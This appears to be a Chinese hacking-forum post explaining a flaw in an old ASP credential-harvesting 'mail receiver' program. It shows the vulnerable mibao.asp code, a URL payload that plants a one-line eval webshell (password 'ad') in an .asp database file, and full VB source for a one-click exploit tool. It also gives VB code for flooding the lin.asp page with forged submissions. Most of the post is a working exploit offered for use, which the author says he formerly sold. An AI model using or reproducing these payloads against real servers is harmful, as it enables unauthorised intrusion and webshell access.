伯乐asp收信程序漏洞及利用程序
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
文章作者:fhod
发这个也是因为看了asm所写的
原创]新概念收信程序 箱子永远不会被黑
http://forum.eviloctal.com/thread-32151-1-1.html
之后又有会员PM我..加上事过已久..也不是什么保密的东西了..网上也许到处都是了..就考虑把东西发出来..算是个学习吧..
伯乐的收信程序(针对以前的老版本.后来修补了这个漏洞)
主数据库名第一次使用设置时是随机产生的..但因为他是通用收信程序..可以截获密保..
mibao.asp文件对提交的参数没有任何过滤
if action="put" then
sql="select * from mibao where u='"&request("u")&"'"
set rs=Server.CreateObject("ADODB.RecordSet")
rs.open sql,conn,1,3
if rs.eof then
rs.addnew
rs("u")=request("u")
rs("pos")=request("pos")
rs("p")="等待破解"
rs.update
rs.close
response.write "addok"
else
sql="update mibao set pos='"&request("pos")&"'"&" where u='"&request("u")&"'"
conn.execute(sql)
response.write "updateok"
end if
end if
第一行代码处
ConnStr="Provider = Microsoft.Jet.OLEDB.4.0;Data Source =" & Server.MapPath("mibaoaa.asp")
提交的数据插进了mibaoaa.asp
asp后缀的数据库文件..未做防下载处理..提交一句话木马..很容易得到webshell
假设箱子地址是
http://127.0.0.1/
就访问
http://127.0.0.1/mibao.asp?action=put&u=3&pos=3<%25eval request(%22%61%64%22) %25>&mb=3&p=3
返回 “addok”就说明插马成功
接着
http://127.0.0.1/mibaoaa.asp访问小马..
密码是ad.上传大马拿到webshell
根据此漏洞我用VB写了一个简单的利用程序..
程序VB源码
Private Sub Command1_Click()
Inet1.OpenURL (Text1.Text + "/mibao.asp?action=put&u=3&pos=3<%25eval request(%22%61%64%22) %25>&mb=3&p=3") '用inet连接网页
aa = InStr(Inet1.GetHeader, "404") '判断页头是否包含字符“404”,返回0则不包含,否则返回其位置
If aa <> 0 Then '页头中包含404
MsgBox "木马插入失败!", 48, "失败!" '则说明该网页不存在
Else '如果页头中不包含“404”
MsgBox "木马插入成功!", 64, "恭喜!" '说明网页存在
Command2.Enabled = True
End If
End Sub
Private Sub Command2_Click()
If Text2.Text = Text1.Text + "/mibaoaa.asp" Then
MsgBox "已经存在!请不要重复此操作!", 16, "error!"
Else
Text2.Text = Text1.Text + "/mibaoaa.asp"
MsgBox "请使用一句话木马客户段连接!密码ad!", 64, "成功!"
Text2.Visible = True
End If
End Sub
Private Sub Command3_Click()
End
End Sub
程序和动画演示我也一并打包上传了..教程因为是去年做的了..里面一些信息请各位兄弟看后不要再去尝试了..
教程里所写的联系QQ也不要再去加了..那时候因为混口饭吃..卖了几个程序..
现在全部都公开了.. BOLE.RAR (2.5 MB)
另外看到贴中有人提到刷信问题..lin.asp也是没怎么过滤的..可以外部提交数据
VB刷信代码
Private Sub Command1_Click()
Inet1.OpenURL (Text1.Text + "/lin.asp?a=" + Text2.Text + "&s=" + Text3.Text + "&u=" + Text4.Text + "&p=" + Text5.Text + "&r=" + Text7.Text + "&l=" + Text8.Text + "&m=" + Text9.Text + "&pin=" + Text6.Text) '用inet连接网页
aa = InStr(Inet1.GetHeader, "404") '判断页头是否包含字符“404”,返回0则不包含,否则返回其位置
If aa <> 0 Then '页头中包含404
MsgBox "刷信失败!默认收信页面可能被改名!", 48, "失败!" '则说明该网页不存在
Else '如果页头中不包含“404”
MsgBox "刷信成功!请登陆后台查看!", 64, "恭喜!" '说明网页存在
End If
End Sub
Private Sub Command2_Click()
End
End Sub